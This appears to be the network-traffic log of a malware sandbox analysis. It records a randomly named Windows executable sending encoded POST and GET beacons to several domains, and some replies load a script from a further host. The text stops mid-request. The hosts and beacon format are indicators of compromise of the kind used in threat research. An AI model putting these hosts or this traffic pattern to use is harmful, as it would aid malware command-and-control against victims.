Jul 3, 2024 18:52:49.353669882 CEST	778	OUT	POST /utkc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.limpiezasbarcelo.com Origin: http://www.limpiezasbarcelo.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.limpiezasbarcelo.com/utkc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 38 57 4b 53 5a 66 58 64 70 41 63 35 36 4e 2b 77 31 36 57 39 39 46 35 64 39 77 72 70 37 51 34 49 74 6b 4f 74 49 59 76 76 6e 2b 2f 30 67 78 6b 6c 71 39 64 69 75 47 69 73 44 70 2f 31 67 43 72 4f 55 32 31 47 38 4a 76 4b 48 53 44 46 69 6c 68 35 41 6e 6e 50 48 46 42 79 4e 59 41 50 77 35 33 34 4a 67 31 68 72 6f 63 2b 59 32 6a 4d 62 55 4c 32 58 38 6b 4e 4e 77 59 65 53 73 50 4c 47 78 6e 41 30 33 6f 4b 55 49 47 35 46 4d 42 43 4d 71 64 49 68 6d 65 38 67 70 50 53 74 69 4c 44 73 32 72 64 52 33 6a 2b 31 79 56 71 6e 4e 33 72 4d 4d 6d 35 62 6f 74 41 51 69 33 6d 74 37 70 46 43 4c 31 43 49 48 61 51 57 4d 67 52 72 72 44 54 62 69 64 43 32 42 39 53 74 62 44 35 46 4b 47 37 72 54 46 2b 2b 51 3d 3d Data Ascii: Z6ZTG=8WKSZfXdpAc56N+w16W99F5d9wrp7Q4ItkOtIYvvn+/0gxklq9diuGisDp/1gCrOU21G8JvKHSDFilh5AnnPHFByNYAPw534Jg1hroc+Y2jMbUL2X8kNNwYeSsPLGxnA03oKUIG5FMBCMqdIhme8gpPStiLDs2rdR3j+1yVqnN3rMMm5botAQi3mt7pFCL1CIHaQWMgRrrDTbidC2B9StbD5FKG7rTF++Q==
Jul 3, 2024 18:52:50.020333052 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:52:49 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 74 6b 63 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /utkc/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49726	81.88.48.71	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:52:51.886478901 CEST	1791	OUT	POST /utkc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.limpiezasbarcelo.com Origin: http://www.limpiezasbarcelo.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.limpiezasbarcelo.com/utkc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 38 57 4b 53 5a 66 58 64 70 41 63 35 36 4e 2b 77 31 36 57 39 39 46 35 64 39 77 72 70 37 51 34 49 74 6b 4f 74 49 59 76 76 6e 2b 33 30 6a 43 73 6c 71 65 46 69 38 57 69 73 4a 4a 2f 34 67 43 71 53 55 79 68 43 38 4a 72 38 48 51 72 46 6a 45 42 35 49 31 44 50 4f 46 42 79 50 59 41 4b 2b 5a 32 67 4a 6a 64 6c 72 6f 4d 2b 59 32 6a 4d 62 56 62 32 65 4e 6b 4e 4c 77 59 5a 56 73 50 66 4d 52 6d 64 30 32 4d 77 55 4c 71 44 46 61 78 43 4c 4b 4e 49 6a 55 47 38 68 4a 50 63 75 69 4c 6c 73 32 76 43 52 7a 43 4e 31 7a 52 51 6e 50 72 72 4e 49 71 6a 4a 4b 73 62 4b 6a 37 48 7a 71 64 51 41 73 56 4a 49 78 69 36 53 62 55 58 67 5a 75 39 5a 6e 39 35 77 33 67 77 6a 49 4c 32 4f 4d 54 62 71 41 67 46 73 33 69 78 70 76 4f 69 62 4c 77 30 73 78 36 39 44 30 55 73 6a 54 48 75 4a 72 30 75 78 57 30 2f 44 63 58 62 72 6b 2f 4e 33 50 63 4b 6f 54 77 53 54 4d 63 32 68 4e 68 79 77 76 73 6e 53 33 79 75 4a 74 42 76 6c 6e 32 62 6b 37 4b 30 75 55 67 69 71 2b 72 73 36 66 68 75 77 59 42 61 47 69 35 38 31 6b 5a 6d 32 6f 4f 61 56 69 55 35 [TRUNCATED] Data Ascii: Z6ZTG=8WKSZfXdpAc56N+w16W99F5d9wrp7Q4ItkOtIYvvn+30jCslqeFi8WisJJ/4gCqSUyhC8Jr8HQrFjEB5I1DPOFByPYAK+Z2gJjdlroM+Y2jMbVb2eNkNLwYZVsPfMRmd02MwULqDFaxCLKNIjUG8hJPcuiLls2vCRzCN1zRQnPrrNIqjJKsbKj7HzqdQAsVJIxi6SbUXgZu9Zn95w3gwjIL2OMTbqAgFs3ixpvOibLw0sx69D0UsjTHuJr0uxW0/DcXbrk/N3PcKoTwSTMc2hNhywvsnS3yuJtBvln2bk7K0uUgiq+rs6fhuwYBaGi581kZm2oOaViU58cdZ+4cw6zGralpEUpyIcZN/1V31BGguNyh3RTqOZ4Mo8advRHIoycAiVRgpwS1smTN5LFRsDS4UYD682z2KoxB9pO0gAmIbOD9F7A66agD3EI3hV9WmVDO7Evd+YzOMVa9LA3sZ9qLgUHQKkEqJs0pbB0rCZmmV/BFUCmPH3E1dzPr7CZYpKYyuudwSuHk8L4EH1mxzMfHMtyIsf56KMX40BzdapW81ujeW3OlNFMN323OZlCNq513LEYMGWyOV+zzOmDL5YMITLRa53wKuGxseLQ37IBpWWZlgcLkJ3ufdgSjE+oaLx3bgX5Cj8Vn/TRO8dmpOHzWAWCaKkMUMoUR8qKB9neHVpMgwfVStkL0h+DgWttd4LwVTUX1db+hmZAqjNtg9oyqoYSG40IfjTcp3Y3WGW/LCzaflEQS4Y3ff7cD9wKRffiE6A1+c5qHl/8tyjYj4yG9E4CsRd655MT6jNe94Z1AwcMG9vFUlhyMnY+N8y8bNN+LtuNAws7FezPM673IIBYfChVS3ClGoUTcXx9AWVxNG1ldz1v+q4Z1xQsuunT0C3j4ufNSwgprRVjFIKyYudc1WSzNthGDABZfTd/Zg7ZcsaLQAeVE1q0wzR98HcX9YEY0yCGYDE+9rV8i5CjmMGtWba+Pp4G9o4s7nBLjWiOouTf [TRUNCATED]
Jul 3, 2024 18:52:52.600522041 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:52:52 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 74 6b 63 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /utkc/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49727	81.88.48.71	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:52:54.416510105 CEST	486	OUT	GET /utkc/?Z6ZTG=xUiyaqLJoScYwvSKxaGp/hpT2WjKlz4HgwmTPdW94fPPmC4rv/t3tHuSJrzPzR7paXxk8earaiLam3RcAVyJFQBqD9wWwb3EOl9ToIAQBz3Abx7ULfREDyg8fvDjES+swyckS94=&3pSl=bXiTJHhxyN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.limpiezasbarcelo.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:52:55.116456985 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:52:55 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 74 6b 63 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /utkc/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49728	156.251.142.107	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:00.711011887 CEST	724	OUT	POST /awbu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.top65s.com Origin: http://www.top65s.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.top65s.com/awbu/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 67 64 6b 75 46 72 4a 42 55 59 74 6b 33 68 32 72 4f 59 33 47 64 59 59 6f 6a 4a 72 48 47 73 76 59 79 6c 6b 4a 6e 4c 79 36 39 56 41 4f 73 7a 66 48 49 37 54 48 4e 32 62 65 50 61 35 55 55 44 4a 5a 4f 48 37 65 49 6a 35 37 6b 4e 61 2b 6d 57 58 75 42 74 67 45 6d 36 39 4b 35 43 64 6d 38 6c 53 58 55 6b 7a 4c 75 70 59 6e 78 51 43 4e 41 6d 59 4e 30 50 54 62 76 61 4f 50 32 72 2f 79 62 4a 45 4c 64 64 70 76 6a 65 4e 78 62 48 46 6b 70 52 69 61 4b 72 6e 41 67 7a 55 2b 58 71 68 4f 74 72 72 68 58 6c 70 55 4c 37 50 76 2b 54 4b 30 4b 2b 33 71 4e 76 61 4a 55 46 38 4f 2f 67 4a 4a 53 6e 49 67 4a 38 4c 75 47 74 4e 70 65 67 5a 7a Data Ascii: Z6ZTG=gdkuFrJBUYtk3h2rOY3GdYYojJrHGsvYylkJnLy69VAOszfHI7THN2bePa5UUDJZOH7eIj57kNa+mWXuBtgEm69K5Cdm8lSXUkzLupYnxQCNAmYN0PTbvaOP2r/ybJELddpvjeNxbHFkpRiaKrnAgzU+XqhOtrrhXlpUL7Pv+TK0K+3qNvaJUF8O/gJJSnIgJ8LuGtNpegZz
Jul 3, 2024 18:53:01.311511993 CEST	192	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 96 Cache-Control: max-age=2592000 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 62 71 74 74 38 70 70 70 2e 63 6f 6d 3a 33 30 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><script src="http://bqtt8ppp.com:301" type="text/javascript"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49729	156.251.142.107	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:03.258177042 CEST	748	OUT	POST /awbu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.top65s.com Origin: http://www.top65s.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.top65s.com/awbu/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 67 64 6b 75 46 72 4a 42 55 59 74 6b 30 43 2b 72 43 5a 33 47 57 59 59 6e 76 70 72 48 55 73 76 63 79 6c 34 4a 6e 50 69 4d 39 6e 55 4f 31 52 48 48 61 36 54 48 65 47 62 65 42 36 35 49 62 6a 4a 53 4f 48 6d 74 49 68 74 37 6b 4e 4f 2b 6d 58 4c 75 42 61 30 46 6e 71 39 4d 30 69 64 65 7a 46 53 58 55 6b 7a 4c 75 74 35 79 78 51 61 4e 41 32 49 4e 30 75 54 59 6d 36 4f 4d 78 72 2f 79 66 4a 45 50 64 64 70 4a 6a 63 70 66 62 46 4e 6b 70 55 65 61 4a 36 6e 44 71 7a 55 38 64 4b 68 41 6f 75 4f 31 4f 6c 41 50 58 6f 37 4f 71 54 57 73 50 49 32 77 52 63 61 71 47 56 63 4d 2f 69 52 37 53 48 49 4b 4c 38 7a 75 55 36 42 4f 52 55 38 51 70 4b 35 42 42 4e 48 57 6b 6a 54 4a 51 32 2b 2f 66 6e 65 30 39 67 3d 3d Data Ascii: Z6ZTG=gdkuFrJBUYtk0C+rCZ3GWYYnvprHUsvcyl4JnPiM9nUO1RHHa6THeGbeB65IbjJSOHmtIht7kNO+mXLuBa0Fnq9M0idezFSXUkzLut5yxQaNA2IN0uTYm6OMxr/yfJEPddpJjcpfbFNkpUeaJ6nDqzU8dKhAouO1OlAPXo7OqTWsPI2wRcaqGVcM/iR7SHIKL8zuU6BORU8QpK5BBNHWkjTJQ2+/fne09g==
Jul 3, 2024 18:53:03.830629110 CEST	192	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 96 Cache-Control: max-age=2592000 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 62 71 74 74 38 70 70 70 2e 63 6f 6d 3a 33 30 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><script src="http://bqtt8ppp.com:301" type="text/javascript"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49730	156.251.142.107	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:05.798965931 CEST	1761	OUT	POST /awbu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.top65s.com Origin: http://www.top65s.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.top65s.com/awbu/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 67 64 6b 75 46 72 4a 42 55 59 74 6b 30 43 2b 72 43 5a 33 47 57 59 59 6e 76 70 72 48 55 73 76 63 79 6c 34 4a 6e 50 69 4d 39 6e 73 4f 31 43 50 48 49 5a 72 48 64 47 62 65 4a 61 35 59 62 6a 4a 31 4f 48 75 79 49 68 51 4d 6b 50 32 2b 6d 31 44 75 4b 4f 59 46 75 71 39 4d 39 43 64 6c 38 6c 53 6e 55 67 58 50 75 70 64 79 78 51 61 4e 41 7a 45 4e 39 66 54 59 67 36 4f 50 32 72 2b 7a 62 4a 46 59 64 64 77 79 6a 63 74 68 62 30 74 6b 70 31 75 61 5a 59 66 44 69 7a 55 36 65 4b 67 47 6f 75 4b 44 4f 6a 6b 44 58 6f 2f 30 71 53 75 73 4e 35 48 71 4b 49 61 33 58 58 41 37 6a 67 42 6e 58 7a 52 31 46 74 6a 56 61 36 77 6d 63 56 67 30 70 75 73 62 49 73 79 50 6e 52 6d 38 63 44 48 62 54 54 33 2f 6c 58 4c 68 50 59 6c 49 41 70 34 64 59 53 41 74 77 32 45 65 58 57 34 49 64 33 6b 72 61 44 43 32 6b 49 37 37 4e 72 4f 36 75 58 7a 64 67 67 6c 62 59 59 56 69 33 4c 45 31 31 6c 31 6f 6b 35 49 41 50 37 74 51 72 7a 49 50 6e 6a 4f 34 4e 4e 54 54 52 55 49 6f 65 66 46 51 41 42 61 72 66 38 62 4e 64 6a 73 6e 38 53 58 65 75 41 71 75 [TRUNCATED] Data Ascii: Z6ZTG=gdkuFrJBUYtk0C+rCZ3GWYYnvprHUsvcyl4JnPiM9nsO1CPHIZrHdGbeJa5YbjJ1OHuyIhQMkP2+m1DuKOYFuq9M9Cdl8lSnUgXPupdyxQaNAzEN9fTYg6OP2r+zbJFYddwyjcthb0tkp1uaZYfDizU6eKgGouKDOjkDXo/0qSusN5HqKIa3XXA7jgBnXzR1FtjVa6wmcVg0pusbIsyPnRm8cDHbTT3/lXLhPYlIAp4dYSAtw2EeXW4Id3kraDC2kI77NrO6uXzdgglbYYVi3LE11l1ok5IAP7tQrzIPnjO4NNTTRUIoefFQABarf8bNdjsn8SXeuAqua1feUW+wFYv0EaxlGMipW0AJEEHfNABICFKiTeRyYng1XR3QpJV0T/MgIjtr+vCidoBEMNNq8zjmqi2sJdrtRdbr+1GVMPAaNfecbpGnAjNYD0iQECBCYvXbIBbBPGW6hFY+ApO8liTT9KGPQKN6ooy/kEKLidVZXov9sj3nu58E5iB7VCmj7ceY+Go5edhaZS9YEjTcYfl5Xkbwwp/dueSbd77oxHt2JNqfCnFj2MZvYBk/2/cucfjpGHPleoGU8o78DuOr9QctS6lQrIvUksguNlh22UL0JF3afXMS0pmYlBs3sriBgA/uPdDFNZD2Go8ha53JRQkTAcLdWcxhvqk6RuX9XM/XAcuAFJu9FYq+6z8+L95MMIJwU/cVG1lyN0alnN0IBGBXJOL/faUjWVqnnb9e7psFOh6ktSe56YfxcMIPBNJpp1h7ndfn/HzxqmsY+5EqKsKnrCf4tyuA9OldRf5ZaiC6ubt9ZvRD4lwo8ahoeIkWyN92ILoDV6tRLTbj5Psl87sGsRHi//pJmFtC9Ganx9jQ1nQRay8osurczJqmNQoWShDr2elG9yXp4j8lO7d0TgnubhKqpusgJpYtRbQF/7nmozqe1866QefQ5WbaKwW4wI1WOkWUPGvRKmMeOL5xLrb+11KIDYpxCsO2hK+CjXNAgM [TRUNCATED]
Jul 3, 2024 18:53:06.325517893 CEST	192	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 96 Cache-Control: max-age=2592000 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 62 71 74 74 38 70 70 70 2e 63 6f 6d 3a 33 30 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><script src="http://bqtt8ppp.com:301" type="text/javascript"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49731	156.251.142.107	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:08.338696003 CEST	476	OUT	GET /awbu/?3pSl=bXiTJHhxyN&Z6ZTG=tfMOGb5YbIlZgDy8Ct7zXIcDvsDfT/TzyUAekPS/3XIjjxWvcqryNCXIK4stFUxfS1vuJxAN6daHj1X4B8YBs4RT9ktx4jetcwfj0b5V53bLA3sBo/Tvu++c4r3yYfk5ffJC8L0= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.top65s.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:53:09.105983973 CEST	192	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 96 Cache-Control: max-age=2592000 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 62 71 74 74 38 70 70 70 2e 63 6f 6d 3a 33 30 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><script src="http://bqtt8ppp.com:301" type="text/javascript"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49733	81.88.57.70	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:14.206666946 CEST	730	OUT	POST /hfmm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.videos60.com Origin: http://www.videos60.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.videos60.com/hfmm/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 41 48 68 76 32 35 6f 4b 6d 32 74 71 39 6b 34 32 62 62 31 6c 4d 4f 77 79 64 6a 38 2f 72 53 78 45 78 62 78 55 44 6a 78 58 6f 78 61 43 36 66 63 73 6c 73 64 6c 72 45 77 42 30 6f 30 4e 79 74 35 6e 33 55 6f 72 52 34 53 7a 47 37 4d 61 43 46 54 74 59 39 62 54 67 30 54 35 44 4d 51 4a 73 35 71 67 77 6f 33 70 49 77 33 58 4d 44 30 41 38 38 6c 63 48 6d 50 50 69 4b 4e 67 74 30 32 39 61 72 62 57 62 56 5a 62 70 6f 6d 37 54 4d 6f 48 55 6b 4c 32 30 62 7a 48 61 37 74 68 79 7a 44 74 73 36 4c 52 2f 30 6f 6a 58 49 57 6f 66 49 4c 30 33 67 54 33 75 78 61 4a 74 47 49 62 52 49 66 67 43 7a 4a 63 2b 53 4f 46 46 64 39 48 69 33 51 6b Data Ascii: Z6ZTG=AHhv25oKm2tq9k42bb1lMOwydj8/rSxExbxUDjxXoxaC6fcslsdlrEwB0o0Nyt5n3UorR4SzG7MaCFTtY9bTg0T5DMQJs5qgwo3pIw3XMD0A88lcHmPPiKNgt029arbWbVZbpom7TMoHUkL20bzHa7thyzDts6LR/0ojXIWofIL03gT3uxaJtGIbRIfgCzJc+SOFFd9Hi3Qk
Jul 3, 2024 18:53:14.911663055 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:53:14 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 66 6d 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hfmm/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49734	81.88.57.70	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:16.746392012 CEST	754	OUT	POST /hfmm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.videos60.com Origin: http://www.videos60.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.videos60.com/hfmm/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 41 48 68 76 32 35 6f 4b 6d 32 74 71 38 46 49 32 63 34 4e 6c 64 2b 77 78 53 44 38 2f 6c 43 78 41 78 61 4e 55 44 68 63 4d 70 45 79 43 36 2b 73 73 6d 70 39 6c 37 55 77 42 67 34 30 49 38 4e 35 61 33 55 30 5a 52 39 71 7a 47 37 6f 61 43 45 6a 74 59 4c 54 51 79 30 54 2f 4b 73 51 4c 69 5a 71 